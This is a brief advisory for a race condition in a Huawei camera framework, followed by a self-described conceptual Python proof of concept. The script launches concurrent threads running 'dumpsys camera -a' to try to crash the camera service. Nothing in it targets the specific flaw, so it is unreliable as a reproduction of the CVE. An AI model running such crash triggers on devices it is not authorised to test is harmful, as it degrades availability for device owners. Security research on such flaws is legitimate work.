Multi-thread race condition vulnerability in the camera framework module.
Impact: Successful exploitation of this vulnerability may affect availability.
The following code is for security research and authorized testing only.
python
'''
CVE-2025-68961 PoC - Huawei Camera Framework Race Condition
Note: This is a conceptual proof-of-concept for educational purposes only.
Actual exploitation requires specific device and version.
'''
import threading
import time
import subprocess
def trigger_camera_access():
"""Attempt to trigger camera framework race condition"""
try:
# Simulate concurrent camera API calls
subprocess.run([
'dumpsys', 'camera', '-a'
], capture_output=True, timeout=5)
except Exception as e:
print(f"Camera access error: {e}")
def poc_exploit():
"""
Race condition trigger mechanism
Requires high privileges (PR:H) and local access (AV:L)
"""
threads = []
num_threads = 10
print(f"[*] Starting race condition test with {num_threads} threads")
print("[*] Target: Huawei Camera Framework Module")
print("[*] CVE: CVE-2025-68961")
# Create concurrent threads to trigger race condition
for i in range(num_threads):
t = threading.Thread(target=trigger_camera_access)
threads.append(t)
# Start all threads simultaneously
for t in threads:
t.start()
# Small delay to maximize race window
time.sleep(0.001)
# Monitor for availability impact
for t in threads:
t.join(timeout=10)
print("[+] Race condition test completed")
print("[*] Check for service crash or unexpected behavior")
if __name__ == "__main__":
poc_exploit()